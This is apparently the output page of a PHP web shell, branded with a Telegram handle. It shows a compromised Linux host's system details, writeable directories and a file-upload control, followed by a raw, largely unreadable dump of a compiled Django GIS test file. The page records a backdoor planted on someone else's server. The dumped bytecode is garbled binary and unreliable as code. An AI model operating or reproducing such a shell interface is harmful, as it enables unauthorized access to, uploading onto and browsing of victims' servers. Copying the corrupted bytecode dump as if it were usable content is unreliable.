https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/gis/tests/inspectapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/gis/tests/inspectapp/tests.pyc
�
r�\c@@s�ddlmZddlZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZer�dd	lmZdd
lmZddlmZneeo�ed
�defd��Y�Zd�ZdS(i(tabsolute_importN(tconnections(tTestCase(tHAS_GDAL(t	TEST_DATA(tHAS_SPATIAL_DB(t
skipUnless(tDriver(t
ogrinspecti(tAllOGRFieldss!GDAL and spatial db are required.tOGRInspectTestcB@s)eZdZd�Zd�Zd�ZRS(ic	C@setjjtdd�}t|d�}dddddd	d
ddg	}|j|d
j|��dS(Nt	test_polys
test_poly.shptMyModelsF# This is an auto-generated Django model module created by ogrinspect.s(from django.contrib.gis.db import modelstsclass MyModel(models.Model):s    float = models.FloatField()s    int = models.FloatField()s)    str = models.CharField(max_length=80)s'    geom = models.PolygonField(srid=-1)s!    objects = models.GeoManager()s
(tostpathtjoinRRtassertEqual(tselftshp_filet	model_deftexpected((sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyRs	c
C@shtjjtdd�}t|d�}dddddd	d
ddd
g
}|j|dj|��dS(Ntcitiess
cities.shptCitysF# This is an auto-generated Django model module created by ogrinspect.s(from django.contrib.gis.db import modelsR
sclass City(models.Model):s*    name = models.CharField(max_length=80)s$    population = models.FloatField()s!    density = models.FloatField()s     created = models.DateField()s%    geom = models.PointField(srid=-1)s!    objects = models.GeoManager()s
(RRRRRR(RRRR((sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyttest_date_field)s	cC@stdjjs |jd�nt�}|s?|jd�nt|ddtjjddg�}|j	|j
d��|jd	|�|jd
|�|jd|�|jd|�|jd
|�|jd|�|jd|�|j	|jd��dS(Ntdefaults.This database does not support 'ogrinspect'ions9Your GDAL installation does not support PostGIS databasestMeasurementt	layer_keytdecimalt	f_decimals�# This is an auto-generated Django model module created by ogrinspect.
from django.contrib.gis.db import models

class Measurement(models.Model):
sC    f_decimal = models.DecimalField(max_digits=0, decimal_places=0)s!    f_int = models.IntegerField()s'    f_datetime = models.DateTimeField()s    f_time = models.TimeField()s!    f_float = models.FloatField()s,    f_char = models.CharField(max_length=10)s    f_date = models.DateField()sB    geom = models.PolygonField()
    objects = models.GeoManager()(
RtopstpostgistskipTesttget_ogr_db_stringRR	t_metatdb_tablet
assertTruet
startswithtassertIntendswith(Rtogr_dbR((sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyttest_time_field<s&	
(t__name__t
__module__tmaxDiffRRR)(((sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyR
s		c@s�tjd�idd6dd	6dd
6}|�d\}}}yt|�WndSX�ddkrldS|i�dd6g���fd�}|dd�|dd�|dd�|dd�|j��S(s�
    Construct the DB string that GDAL will use to inspect the database.
    GDAL will create its own connection to the database, so we re-use the
    connection settings from the Django test.
    Rt
PostgreSQLsPG:dbname='%(db_name)s't s&django.contrib.gis.db.backends.postgistMySQLsMYSQL:"%(db_name)s"t,s$django.contrib.gis.db.backends.mysqltSQLites%(db_name)sR
s)django.contrib.gis.db.backends.spatialitetENGINEtNAMEs:memory:tdb_namec@s0�j|d�}|r,�j||�ndS(N(tgettNonetappend(tkeyttemplatetvalue(tdbtparams(sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pytadd�stHOSTs	host='%s'tPORTs	port='%s'tUSERs	user='%s'tPASSWORDs
password='%s'(R-sPG:dbname='%(db_name)s'R.(R/sMYSQL:"%(db_name)s"R0(R1s%(db_name)sR
N(Rt	databasesRR6R(tdriverstdrv_nametdb_strt	param_sepR=((R;R<sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyR!es&





(t
__future__RRt	django.dbRtdjango.testRtdjango.contrib.gis.gdalRt%django.contrib.gis.geometry.test_dataRtdjango.contrib.gis.tests.utilsRtdjango.utils.unittestRRt#django.contrib.gis.utils.ogrinspectRtmodelsR	R
R!(((sK/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/inspectapp/tests.pyt<module>sQ

https://t.me/AnonymousX5 - 2025